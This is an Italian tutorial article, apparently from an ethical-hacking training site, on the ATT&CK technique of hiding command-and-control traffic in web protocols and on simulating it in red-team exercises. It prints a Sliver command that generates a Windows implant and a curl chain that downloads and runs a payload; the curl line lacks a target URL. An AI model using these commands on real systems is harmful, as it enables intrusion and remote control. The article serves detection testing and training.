C2 via Protocolli Web: Web Protocols (T1071.001)

Nascondere il traffico di comando e controllo dentro le comunicazioni HTTP, HTTPS o WebSocket è una delle strategie più diffuse tra gli avversari, perché sfrutta protocolli che qualsiasi rete aziendale deve lasciare transitare. La tecnica T1071.001 appartiene alla tattica Command and Control (TA0011) — la fase della kill chain in cui l'attaccante stabilisce un canale bidirezionale con i sistemi compromessi per impartire comandi e ricevere risultati.

I numeri confermano l'ubiquità della tecnica: 56 gruppi APT, 329 famiglie di malware, 21 campagne documentate e appena 2 mitigazioni ufficiali. La sproporzione tra chi la usa e chi la contrasta racconta una verità scomoda: filtrare traffico HTTP/S senza bloccare le operazioni legittime è un problema aperto. I pacchetti HTTP offrono decine di campi — header, cookie, URI, body — in cui occultare dati. HTTPS aggiunge la crittografia, rendendo l'ispezione del payload impossibile senza TLS interception. WebSocket introduce persistenza bidirezionale su un singolo socket, ideale per shell interattive a bassa latenza.

L'avversario non ha bisogno di inventare un protocollo: gli basta mimetizzarsi nel rumore di fondo del traffico web quotidiano, sfruttando porte standard (80, 443) e User-Agent che imitano browser reali.


L'obiettivo di un red team che simula T1071.001 è dimostrare al Blue Team che il traffico C2 può transitare indisturbato su canali web apparentemente normali. Il primo passo è scegliere un framework C2 che supporti profili HTTP personalizzabili.

Cobalt Strike (a pagamento) resta il punto di riferimento: i Malleable C2 Profile permettono di modellare ogni dettaglio della comunicazione HTTP — URI, header, cookie, intervallo di beacon e jitter. In laboratorio si può creare un profilo che imita il traffico verso un CDN noto, includendo header come X-Forwarded-For e cookie realistici. Il listener si configura dal Team Server specificando il profilo con il parametro di avvio dedicato.

Per chi preferisce soluzioni open source, Sliver (open source) offre listener HTTP e HTTPS nativi. La generazione di un implant HTTP si ottiene dalla console interattiva con il comando:

generate --http --os windows --arch amd64 --save /tmp/implant.exe

Sliver supporta anche la rotazione automatica dei domini C2, utile per testare la capacità del SOC di correlare traffico verso host diversi.

Havoc (open source) rappresenta un'alternativa più recente con supporto per listener HTTP/S e profili di comunicazione personalizzabili. Mythic (open source) aggiunge un'architettura modulare ad agenti, con il profilo HTTP configurabile dal pannello web.

Per simulare scenari più basilari — ad esempio un malware che usa curl per scaricare payload, come fanno TeamTNT e Rocke — basta una catena semplice su Linux:

curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o /tmp/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh

Su Windows, PowerShell replica lo stesso pattern con Invoke-WebRequest e un User-Agent personalizzato tramite il parametro -UserAgent.

Per testare la detection del WebSocket, Drovorub usa proprio un HTTP Upgrade request per inizializzare la comunicazione C2: si può replicare il comportamento con un semplice script Python che usa la libreria websockets (open source) verso un server di test.

Infine, Brute Ratel C4 (a pagamento) offre profili HTTP/S avanzati con tecniche anti-detection come il sleep masking, utile per verificare se gli strumenti EDR rilevano implant dormienti che si risvegliano solo per comunicazioni HTTP periodiche.

Durante ogni esercizio, registra con Wireshark (open source) o tcpdump (open source) il traffico generato: il confronto tra catture maligne e traffico legittimo diventa materiale prezioso per il tuning degli alert.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.